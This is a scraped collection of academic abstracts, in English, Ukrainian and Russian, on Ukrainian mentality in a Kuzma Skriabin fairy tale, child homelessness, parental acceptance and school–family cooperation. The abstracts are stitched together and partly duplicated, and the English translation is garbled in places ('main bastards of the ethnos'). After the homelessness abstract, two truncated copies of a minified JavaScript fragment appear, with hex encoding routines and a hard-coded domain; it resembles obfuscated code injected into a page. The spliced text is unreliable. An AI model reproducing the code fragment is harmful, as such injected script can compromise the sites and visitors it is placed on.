The article deals with the problem of the language means of verbalization of the Ukrainian people mentality based on linguistic analysis of the text of modern fairy-tale “Тarasyk, trolleybus and St. Nicholas”. Its author is Andriy Kuzmenko (Kuzma Skriabin), a leader of the musical group “Skriabin”. The research object is predefined by the fact that musician and writer Kuzma Skriabin is a representative of the modern national elite. His spiritual world and creative activity are deeply related to the originality of the Ukrainian people. An attempt to find out the essential features of representation of the concepts "miracle", "happiness", "family" and "child" is done in the article. Different forms of diminutives and their functions are analyzed here. They are motivated by national psychological features of native speakers, such as tenderness, meekness, lyricism, and others. We also distinguish other characteristics of the Ukrainian mentality, which are reflected in the author’s fairy-tale – individualism, freedom, religiousness, sincerity, mercifulness, and respect to the woman. According to the text analysis, concepts "family" and "child" are the most fundamental. They confirm the spasmodicity of Ukrainian literature, which shows the main bastards of the ethnos. The family is a center of a national values system. Education of children, which are the successors of spiritual traditions, also plays an important role in it. Стаття присвячена проблемі мовних засобів вираження ментальності українського народу на основі лінгвістичного аналізу авторської казки лідера групи «Скрябін» (Андрія Кузьменка) «Тарасик, тролейбус і святий Миколай». Вибір об’єкту дослідження зумовлений тим, що музикант і письменник Кузьма Скрябін є представником сучасної національної еліти, духовний світ та мислення якого, результат його творчості глибоко пов’язані з самобутністю українського народу. Робиться спроба з’ясувати особливості вербалізації концептів «диво», «щастя», «сім’я», «дитина» у творі. Метою цього дослідження є не лише проаналізувати вживання демінутивних формантів у творі, зумовлених національно-психологічними особливостями носіїв мови, як ніжність, лагідність, ліризм тощо, а й виокремити ряд особливостей української ментальності, що знайшли відображення в авторській казці, зокрема індивідуалізм, волелюбність, релігійність, душевність, милосердя, повага до жінки. Досліджений матеріал дозволяє говорити, що концепти «сім’я» і «дитина» є основоположними, підтверджують спадкоємність української літератури, котра вербалізує головні надбання народу, як шанування родини - осередку цінностей, виховання дитини-спадкоємця духовних традицій. Статья посвящена проблеме языковых средств выражения ментальности украинского народа на основе лингвистического анализа авторской сказки лидера музыкальной группы «Скрябин» (Андрея Кузьменко) «Тарасик, троллейбус и святой Николай». Выбор объекта исследования обусловлен тем, что музыкант и писатель Кузьма Скрябин является представителем современной национальной элиты, духовный мир и мировоззрение которого, результат его творчества представляют самобытность украинского народа. Целью этого исследования является не только проанализировать употребление деминутивных формантов в произведении, вызванных национально-психологическими особенностями носителей языка, как нежность, доброжелательность, лиризм и т.п., но и выделить ряд особенностей украинской ментальности, показанных в авторской сказке, например, индивидуализм, свободолюбие, религиозность, душевность, милосердие, уважение к женщине. Материал исследования позволяет говорить о том, что концепты «семья» и «ребенок» являются основополагающими, подтверждают преемственность украинской литературы, которая вербализует главные богатства народа – семью как совокупность ценностей, воспитание ребѐнка-носителя духовных традиций.

Розкрито поняття «безпритульність»; проаналізовано причини, негативні наслідки безпритульності, сучасний стан цієї проблеми; зроблено висновок, що проблеми дитячої безпритульності є віддзеркаленням політико-економічних та соціально-культурних суперечностей перехідного етапу розвитку українського суспільства;запропоновано шляхи її профілактики в умовах побудови громадянського суспільства в Україні.// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "fil.nlu.edu.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "fil.nlu.edu.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e

У статті йдеться про основні напрями роботи батьків та їхню відповідальність за фізичний і психологічний розвиток дитини в повсякденному житті. Завдання дослідження – розкриття інтересу й ставлення батьків до фізичного та психологічного розвитку своєї дитини. За даними проведеного анкетування визначено у відсотках ставлення 150 респондентів до їхньої ролі у фізичному та психологічному розвитку дитини. Для запобігання погіршенню здоров’я дитячого населення потрібно дотримуватися хоча б найбільш простих правил та виконувати вправи для покращення фізичного й психологічного розвитку майбутнього покоління.

Harmonious parent-child relationships are determinant in the formation of emotionally stable, viable, creatively oriented personality of the child with positive-constructive mentality concerning the oneself and the world around, capable to self-determination and self-realization. The development of a psychologically healthy child occurs in a favorable psychological climate in the family (harmonious relationship between parents and the parents with the child), in an atmosphere of love, security, acceptance, trust, respect and freedom of choice.The purpose of the article is to reveal the features of relationships between parents and their child in a situation of acceptance-rejection.The supreme act of love in a parent-child relationship is unconditional love. Accept the child definitely means to love him simply for what he is as he is. The child should feel that he is beloved for his parents regardless of his assessments, successes, failures, behavior, presence or absence of talent and so on. The acceptance means to take the child’s right for his individuality, his unlikeness with the others, as well as with his parents. To accept the child means to give him the right to be oneself without any changes. To give the child the right for his own behavior, his own negative features, his own point of view, interests and dreams. The acceptance doesn’t mean tolerance; it’s an understanding of the fact that the parents’ duty doesn’t consist of «redoing» the child, but of acceptance him as he is. It is the absolute acceptance of the child with all his positive and negative features.When a child becomes a «self-being» as an extraordinary instrument of conducting his behavior he feels the acceptance or non-acceptance on the side of relatives and important people. This becomes his relation to himself and turns to deep acceptance or non-acceptance of oneself. The child who accepts oneself is sure in oneself, he believes oneself and this belief gives him the basis in the taking the decisions and in coming over the hardships. And the child who doesn’t accept oneself hasn’t such a basis; he is dependent of thoughts and attitude of the surroundings, needs constant positive assessments which points out his value. Thus such a child is easy to manipulate with, to take in leading-strings; in fact he refuses his self-sufficiency and tries to find the authority leader (mental or ideological) and lets him take the most important decisionsfor his life.The upbringing is often built on the mechanism of the conditional acceptance.The upbringing mechanism of the conditional acceptance works approximately as follows: an adult puts a child who behaves badly aside — impulsively or in bringing-up process: cries, lets the voice grow, and punishes him. The child feels badly, tries to turn back the adult’s acceptance and begins to behave right and good, and gets for that the wished — conditional — acceptance. The adult’s evaluation influence encourages the child to behave properly and makes him flexible to up-bringing. At the same time such influence lays in the child self-conciseness, personal dependence, secrecy, hypocrisy and future neuroses.The reasons for parents’ rejection of the child are as follows: parents’ poor self-perception; unwanted conception and birth; discrepancy of the parents’ ideas about the ideal image of a child and the real child; settings on education. The unconditional acceptance of the child begins with the parents’ unconditional acceptance of themselves. Parents’ non-acceptance of themselves originates from their own childhood when their parents tried to over-bring them up. In adulthood parents continue to see a number of shortcomings that need to change to be perfect. They seek a way of personal development, when a person takes oneself with his strengths and weaknesses, limitations and talents. Each person has one’s own pace, cycles, objectives, goals of development. When parents are aware of their own personality then they begin to see individuality in their child. Parents allow themselves to be themselves and take the child as it is. The basis of unconditional acceptance is to give the child the right of being oneself, to have his own personality and differ from his parents. It is important that parents are able to feel and transmit the sincere acceptance of their child. Parents’ acceptance of their child’s is an important factor in creating a relationship in which the child can develop oneself, self-implement, change oneself constructively, learn to solve difficulties, be creative, and actualize his inner potential. This will contribute to the psychological health of the child. It’s important for parents to be natural, sincere in dealing with children and abandon the false acceptance. Because of false acceptance the child feels his parents do not behave naturally, they are not sincere, and the trust is lost.Thus, the defining measure of parents’ unconditional acceptance of their child is the internal feeling of being beloved. When a child is sure that the others love him he develops harmoniously. Therefore, harmonious parent-child relationships are based on acceptance. Parents’ acceptance of themselves and of the child as he is., В статье рассмотрены особенности отношений родителей с ребенком в ситуации принятия-непринятия. Указано на важность удовлетворения потребности в любви и принадлежности в развитии личности ребенка. Раскрыто понятие «принятие» и составляющие принятия-непринятия родителями ребенка. Описано влияние механизма условного принятия на внутренние переживания ребенка. Выделены этапы развития, когда у ребенка формируется переживание непринятия себя как следствие непринятия родителями. Безусловное принятие ребенка начинается с безусловного принятия родителями себя. Проанализированы причины отторжения родителями ребенка (низкий уровень самопринятия родителями самих себя; нежеланное зачатие и рождение ребенка; несовпадение представлений родителей об идеальном ребенке образу реального ребенка; настрой на воспитание). Описаны составляющие атмосферы любви, многократное переживание которых дает ребенку ощущение, что родители его любят., У статті розглянуто особливості стосунків батьків з дитиною в ситуації прийняття-неприйняття. Вказано на важливість задоволення потреби у любові та приналежності у розвитку особистості дитини. Розкрито поняття «прийняття» та складові прийняття-неприйняття батьками дитини. Описано вплив механізму умовного прийняття на внутрішні переживання дитини. Виокремлено етапи розвитку, коли у дитини формується переживання неприйняття себе як наслідок неприйняття батьками. Безумовне прийняття дитини починається з безумовного прийняття батьками себе. Проаналізовано причини відторгнення батьками дитини (низький рівень самоприйняття батьками самих себе; небажане зачаття та народження дитини; неспівпадіння уявлень батьків про ідеальну дитину з образом реальної дитини; налаштування на виховання). Описано складові атмосфери любові, багатократне переживання яких дає дитині відчуття, що батьки її люблять.

In the article the importance of social interaction of school and a family, and its necessity in the process of socialization of a child have been substantiated. Theoretical aspects of organization of social interaction in general and between school and a family in particular have been singled out. Based on the Ukrainian laws and regulations an analysis of the legal principles of the abovementioned interaction has been made, as well as its main forms of manifestations and characteristics have been detected. Certain contradictions have been considered, the solution of which stipulates necessity of social interaction between schools and families. There has been also made a research of technology of organization of effective in the socialization of a child interaction of educational institutions and families. The most common forms and methods of such cooperation have been revealed in this paper., Обґрунтовано важливість і актуальність соціальної взаємодії школи та сім’ї, доведено її необхідність у процесі соціалізації дитини. Визначено теоретичні аспекти організації соціальної взаємодії у цілому та між школою і сім’єю зокрема. На підставі діючих в країні законодавчих і нормативних актів проаналізовано правові засади організації означеної взаємодії, виявлено її основні прояви та характеристики. Розглянуто протиріччя, вирішення яких зумовлює необхідність соціальної взаємодії школи та сім’ї. Досліджено технологію організації ефективної у процесі соціалізації дитини взаємодії навчально-виховного закладу і сім’ї, розкрито найпоширеніші форми та способи цієї співпраці.

Обґрунтовано важливість і актуальність соціальної взаємодії школи та сім’ї, доведено її необхідність у процесі соціалізації дитини. Визначено теоретичні аспекти організації соціальної взаємодії у цілому та між школою і сім’єю зокрема. На підставі діючих в країні законодавчих і нормативних актів проаналізовано правові засади організації означеної взаємодії, виявлено її основні прояви та характеристики. Розглянуто протиріччя, вирішення яких зумовлює необхідність соціальної взаємодії школи та сім’ї. Досліджено технологію організації ефективної у процесі соціалізації дитини взаємодії навчально-виховного закладу і сім’ї, розкрито найпоширеніші форми та способи цієї співпраці., In the article the importance of social interaction of school and a family, and its necessity in the process of socialization of a child have been substantiated. Theoretical aspects of organization of social interaction in general and between school and a family in particular have been singled out. Based on the Ukrainian laws and regulations an analysis of the legal principles of the abovementioned interaction has been made, as well as its main forms of manifestations and characteristics have been detected. Certain contradictions have been considered, the solution of which stipulates necessity of social interaction between schools and families. There has been also made a research of technology of organization of effective in the socialization of a child interaction of educational institutions and families. The most common forms and methods of such cooperation have been revealed in this paper.

У статті представлено науково-теоретичний аналіз стану розробки проблеми впливу спілкування батьків і дітей на формування особистісних якостей дитини. Визначено, що кожна форма спілкування по-своєму впливає на психічний розвиток дітей: ситуативно-ділова сприяє розвитку особистості, самосвідомості, допитливості, сміливості, оптимізму, творчості; позаситуативно-ділова і позаситуативно-особистісна формують уміння бачити в партнері самоцінну особистість. Доводиться, що дорослі відіграють провідну роль у розвитку особистості дитини, навчають дитину правил поведінки, які організовують її у повсякденних справах, налаштовують на позитивні вчинки. За- значено, що спілкування з дорослими виступає як джерело та рушійна сила психічного розвитку дитини, визначає внутрішній план дій дитини, сферу її емоційних переживань, пізнавальну активність, довільність та волю, самооцінку та самосвідомість, спілкування з ровесниками. Констатовано, що у процесі спілкування з батьками дитина отримує інформацію про предмети, явища навколишнього світу, знайомиться з їх властивостями та функціями, набувається інтерес дитини до пізнання. Зазначено, що стиль спілкування батьків з дітьми впливає на формування психологічних особливостей дошкільника. Доведено, що спілкування дитини з близькими дорослими та ровесниками є не тільки умовою, але й основою формування ставлення до самого себе, інших людей, предметного світу, тобто тих стосунків, які і складають системотворчий компонент особистості. Зроблено висновок, що поза спілкуванням неможливий розвиток у дитини специфічно людських психічних функцій, її особистісне становлення. Отже, пошук причин порушень особистісного розвитку дитини повинен обов’язково стосуватися дослідження різних сторін спілкування, порушення якого і є причинами тих чи інших проблем в особистісному розвитку дитини.